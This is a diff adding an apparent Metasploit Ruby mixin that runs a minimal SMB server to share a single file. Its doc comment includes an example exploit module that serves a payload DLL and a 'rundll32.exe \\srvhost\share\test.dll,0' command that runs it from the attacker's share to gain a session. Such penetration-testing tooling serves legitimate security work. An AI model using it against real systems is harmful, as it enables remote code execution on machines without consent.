|
| 1 | +# -*- coding: binary -*- |
| 2 | +require 'rex/socket' |
| 3 | +require 'rex/proto/smb' |
| 4 | +require 'rex/text' |
| 5 | +require 'rex/logging' |
| 6 | +require 'rex/struct2' |
| 7 | +require 'rex/proto/smb/constants' |
| 8 | +require 'rex/proto/smb/utils' |
| 9 | +require 'rex/proto/dcerpc' |
| 10 | + |
| 11 | +module Msf |
| 12 | + module Exploit::Remote::SMB::Server |
| 13 | + # This mixin provides a minimal SMB server sharing an UNC resource. At |
| 14 | + # this moment it is capable to share just one file. And the file should |
| 15 | + # live in the root folder "\\". |
| 16 | + # |
| 17 | + # @example Use it from an Auxiliary module |
| 18 | + # require 'msf/core' |
| 19 | + # |
| 20 | + # class Metasploit3 < Msf::Auxiliary |
| 21 | + # |
| 22 | + # include Msf::Exploit::Remote::SMB::Server::Share |
| 23 | + # |
| 24 | + # def initialize |
| 25 | + # super( |
| 26 | + # 'Name' => 'SMB File Server', |
| 27 | + # 'Description' => %q{ |
| 28 | + # This module provides a SMB File Server service |
| 29 | + # }, |
| 30 | + # 'Author' => |
| 31 | + # [ |
| 32 | + # 'Matthew Hall', |
| 33 | + # 'juan vazquez' |
| 34 | + # ], |
| 35 | + # 'License' => MSF_LICENSE, |
| 36 | + # 'Actions' => |
| 37 | + # [ |
| 38 | + # ['Service'] |
| 39 | + # ], |
| 40 | + # 'PassiveActions' => |
| 41 | + # [ |
| 42 | + # 'Service' |
| 43 | + # ], |
| 44 | + # 'DefaultAction' => 'Service' |
| 45 | + # ) |
| 46 | + # end |
| 47 | + # |
| 48 | + # def run |
| 49 | + # print_status("Starting SMB Server on #{unc}...") |
| 50 | + # exploit |
| 51 | + # end |
| 52 | + # |
| 53 | + # def primer |
| 54 | + # print_status("Primer...") |
| 55 | + # self.file_contents = 'METASPLOIT' |
| 56 | + # end |
| 57 | + # end |
| 58 | + # |
| 59 | + # @example Use it from an Exploit module |
| 60 | + # require 'msf/core' |
| 61 | + # |
| 62 | + # class Metasploit3 < Msf::Exploit::Remote |
| 63 | + # Rank = ExcellentRanking |
| 64 | + # |
| 65 | + # include Msf::Exploit::EXE |
| 66 | + # include Msf::Exploit::Remote::SMB::Server::Share |
| 67 | + # |
| 68 | + # def initialize(info={}) |
| 69 | + # super(update_info(info, |
| 70 | + # 'Name' => "Example Exploit", |
| 71 | + # 'Description' => %q{ |
| 72 | + # Example exploit, the Server shares a DLL embedding the payload. A session |
| 73 | + # can be achieved by executing 'rundll32.exe \\srvhost\share\test.dll,0' from |
| 74 | + # from the target. |
| 75 | + # }, |
| 76 | + # 'License' => MSF_LICENSE, |
| 77 | + # 'Author' => |
| 78 | + # [ |
| 79 | + # 'Matthew Hall', |
| 80 | + # 'juan vazquez' |
| 81 | + # ], |
| 82 | + # 'References' => |
| 83 | + # [ |
| 84 | + # ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074'] |
| 85 | + # ], |
| 86 | + # 'Payload' => |
| 87 | + # { |
| 88 | + # 'Space' => 2048, |
| 89 | + # 'DisableNops' => true |
| 90 | + # }, |
| 91 | + # 'Platform' => 'win', |
| 92 | + # 'Targets' => |
| 93 | + # [ |
| 94 | + # ['Windows XP SP3 / Windows 2003 SP2', {}], |
| 95 | + # ], |
| 96 | + # 'Privileged' => false, |
| 97 | + # 'DisclosureDate' => "Mar 02 2015", |
| 98 | + # 'DefaultTarget' => 0)) |
| 99 | + # |
| 100 | + # register_options( |
| 101 | + # [ |
| 102 | + # OptString.new('FILE_NAME', [ false, 'DLL File name to share', 'test.dll']) |
| 103 | + # ], self.class) |
| 104 | + # |
| 105 | + # deregister_options('FILE_CONTENTS') |
| 106 | + # end |
| 107 | + # |
| 108 | + # def primer |
| 109 | + # self.file_contents = generate_payload_dll |
| 110 | + # print_status("File available on #{unc}...") |
| 111 | + # end |
| 112 | + # end |
| 113 | + module Share |
| 114 | + require 'msf/core/exploit/smb/server/share/command' |
| 115 | + require 'msf/core/exploit/smb/server/share/information_level' |
| 116 | + |
| 117 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::Close |
| 118 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::Negotiate |
| 119 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx |
| 120 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndx |
| 121 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::SessionSetupAndx |
| 122 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2 |
| 123 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::FindFirst2 |
| 124 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryFileInformation |
| 125 | + include Msf::Exploit::Remote::SMB::Server::Share::Command::Trans2::QueryPathInformation |
| 126 | + include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Find |
| 127 | + include Msf::Exploit::Remote::SMB::Server::Share::InformationLevel::Query |
| 128 | + |
| 129 | + include Msf::Exploit::Remote::SMB::Server |
| 130 | + |
| 131 | + FLAGS = CONST::FLAGS_REQ_RES | CONST::FLAGS_CASE_SENSITIVE |
| 132 | + |
| 133 | + FLAGS2 = CONST::FLAGS2_UNICODE_STRINGS | |
| 134 | + CONST::FLAGS2_EXTENDED_SECURITY | |
| 135 | + CONST::FLAGS2_32_BIT_ERROR_CODES | |
| 136 | + CONST::FLAGS2_LONG_PATH_COMPONENTS |
| 137 | + |
| 138 | + CAPABILITIES = CONST::CAP_UNIX_EXTENSIONS | |
| 139 | + CONST::CAP_LARGE_WRITEX | |
| 140 | + CONST::CAP_LARGE_READX | |
| 141 | + CONST::CAP_PASSTHRU | |
| 142 | + CONST::CAP_DFS | |
| 143 | + CONST::CAP_NT_FIND | |
| 144 | + CONST::CAP_LOCK_AND_READ | |
| 145 | + CONST::CAP_LEVEL_II_OPLOCKS | |
| 146 | + CONST::CAP_STATUS32 | |
| 147 | + CONST::CAP_RPC_REMOTE_APIS | |
| 148 | + CONST::CAP_NT_SMBS | |
| 149 | + CONST::CAP_LARGE_FILES | |
| 150 | + CONST::CAP_UNICODE | |
| 151 | + CONST::CAP_RAW_MODE |
| 152 | + |
| 153 | + CREATE_MAX_ACCESS = CONST::SMB_READ_ACCESS | |
| 154 | + CONST::SMB_WRITE_ACCESS | |
| 155 | + CONST::SMB_APPEND_ACCESS | |
| 156 | + CONST::SMB_READ_EA_ACCESS | |
| 157 | + CONST::SMB_WRITE_EA_ACCESS | |
| 158 | + CONST::SMB_EXECUTE_ACCESS | |
| 159 | + CONST::SMB_DELETE_CHILD_ACCESS | |
| 160 | + CONST::SMB_READ_ATTRIBUTES_ACCESS | |
| 161 | + CONST::SMB_WRITE_ATTRIBUTES_ACCESS | |
| 162 | + CONST::SMB_DELETE_ACCESS | |
| 163 | + CONST::SMB_READ_CONTROL_ACCESS | |
| 164 | + CONST::SMB_WRITE_DAC_ACCESS | |
| 165 | + CONST::SMB_WRITE_OWNER_ACCESS | |
| 166 | + CONST::SMB_SYNC_ACCESS |
| 167 | + |
| 168 | + TREE_CONNECT_MAX_ACCESS = CONST::SMB_READ_ACCESS | |
| 169 | + CONST::SMB_READ_EA_ACCESS | |
| 170 | + CONST::SMB_EXECUTE_ACCESS | |
| 171 | + CONST::SMB_READ_ATTRIBUTES_ACCESS | |
| 172 | + CONST::SMB_READ_CONTROL_ACCESS | |
| 173 | + CONST::SMB_SYNC_ACCESS |
| 174 | + |
| 175 | + # @!attribute share |
| 176 | + # @return [String] The share portion of the provided UNC. |
| 177 | + attr_accessor :share |
| 178 | + # @!attribute path_name |
| 179 | + # @return [String] The folder where the provided file lives. |
| 180 | + # @note UNSUPPORTED |
| 181 | + attr_accessor :path_name |
| 182 | + # @!attribute file_name |
| 183 | + # @return [String] The file name of the provided UNC. |
| 184 | + attr_accessor :file_name |
| 185 | + # @!attribute hi |
| 186 | + # @return [Fixnum] The high 4 bytes for the file 'created time'. |
| 187 | + attr_accessor :hi |
| 188 | + # @!attribute lo |
| 189 | + # @return [Fixnum] The low 4 bytes for the file 'created time'. |
| 190 | + attr_accessor :lo |
| 191 | + # @!attribute file_contents |
| 192 | + # @return [String] The contents of the provided file |
| 193 | + attr_accessor :file_contents |
| 194 | + |
| 195 | + def initialize(info = {}) |
| 196 | + super |
| 197 | + |
| 198 | + register_options( |
| 199 | + [ |
| 200 | + OptString.new('SHARE', [ false, 'Share (Default Random)']), |
| 201 | + OptString.new('FILE_NAME', [ false, 'File name to share (Default Random)']), |
| 202 | + OptPath.new('FILE_CONTENTS', [ false, 'File contents (Default Random)']) |
| 203 | + ], Msf::Exploit::Remote::SMB::Server::Share) |
| 204 | + end |
| 205 | + |
| 206 | + # Setups the server configuration. |
| 207 | + def setup |
| 208 | + super |
| 209 | + |
| 210 | + self.path_name = '\\' # TODO: Add subdirectories support |
| 211 | + self.share = datastore['SHARE'] || Rex::Text.rand_text_alpha(4 + rand(3)) |
| 212 | + self.file_name = datastore['FILE_NAME'] || Rex::Text.rand_text_alpha(4 + rand(3)) |
| 213 | + |
| 214 | + t = Time.now.to_i |
| 215 | + self.hi, self.lo = ::Rex::Proto::SMB::Utils.time_unix_to_smb(t) |
| 216 | + |
| 217 | + # The module has an opportunity to set up the file contents in the "primer callback" |
| 218 | + if datastore['FILE_CONTENTS'] |
| 219 | + File.open(datastore['FILE_CONTENTS'], 'rb') { |f| self.file_contents = f.read } |
| 220 | + else |
| 221 | + self.file_contents = Rex::Text.rand_text_alpha(50 + rand(150)) |
| 222 | + end |
| 223 | + end |
| 224 | + |
| 225 | + # Builds the UNC Name for the shared file |
| 226 | + def unc |
| 227 | + "\\\\#{srvhost}\\#{share}\\#{file_name}" |
| 228 | + end |
| 229 | + |
| 230 | + # Builds the server address. |
| 231 | + # |
| 232 | + # @return [String] The server address. |
| 233 | + def srvhost |
| 234 | + datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] |
| 235 | + end |
| 236 | + |
| 237 | + # New connection handler, executed when there is a new conneciton. |
| 238 | + # |
| 239 | + # @param c [Socket] The client establishing the connection. |
| 240 | + # @return [Hash] The hash with the client data initialized. |
| 241 | + def smb_conn(c) |
| 242 | + @state[c] = { |
| 243 | + :name => "#{c.peerhost}:#{c.peerport}", |
| 244 | + :ip => c.peerhost, |
| 245 | + :port => c.peerport, |
| 246 | + :multiplex_id => rand(0xffff), |
| 247 | + :process_id => rand(0xffff), |
| 248 | + :file_id => 0xdead, |
| 249 | + :dir_id => 0xbeef |
| 250 | + } |
| 251 | + end |
| 252 | + |
| 253 | + # Main dispatcher function. Takes the client data and performs a case switch |
| 254 | + # on the command (e.g. Negotiate, Session Setup, Read file, etc.) |
| 255 | + # |
| 256 | + # @param cmd [Fixnum] The SMB Command requested. |
| 257 | + # @param c [Socket] The client to answer. |
| 258 | + # @param buff [String] The data including the client request. |
| 259 | + # @return [Fixnum] The number of bytes returned to the client as response. |
| 260 | + def smb_cmd_dispatch(cmd, c, buff) |
| 261 | + smb = @state[c] |
| 262 | + |
| 263 | + pkt = CONST::SMB_BASE_PKT.make_struct |
| 264 | + pkt.from_s(buff) |
| 265 | + #Record the IDs |
| 266 | + smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID'] |
| 267 | + smb[:user_id] = pkt['Payload']['SMB'].v['UserID'] |
| 268 | + smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID'] |
| 269 | + smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID'] |
| 270 | + |
| 271 | + case cmd |
| 272 | + when CONST::SMB_COM_NEGOTIATE |
| 273 | + return smb_cmd_negotiate(c, buff) |
| 274 | + when CONST::SMB_COM_SESSION_SETUP_ANDX |
| 275 | + word_count = pkt['Payload']['SMB'].v['WordCount'] |
| 276 | + if word_count == 0x0d # Share Security Mode sessions |
| 277 | + return smb_cmd_session_setup_andx(c, buff) |
| 278 | + else |
| 279 | + print_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type, ignoring... ") |
| 280 | + return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) |
| 281 | + end |
| 282 | + when CONST::SMB_COM_TRANSACTION2 |
| 283 | + return smb_cmd_trans2(c, buff) |
| 284 | + when CONST::SMB_COM_NT_CREATE_ANDX |
| 285 | + return smb_cmd_nt_create_andx(c, buff) |
| 286 | + when CONST::SMB_COM_READ_ANDX |
| 287 | + return smb_cmd_read_andx(c, buff) |
| 288 | + when CONST::SMB_COM_CLOSE |
| 289 | + return smb_cmd_close(c, buff) |
| 290 | + else |
| 291 | + print_status("SMB Share - #{smb[:ip]} Unknown SMB command #{cmd.to_s(16)}, ignoring... ") |
| 292 | + return smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS) |
| 293 | + end |
| 294 | + end |
| 295 | + end |
| 296 | + end |
| 297 | +end |
0 commit comments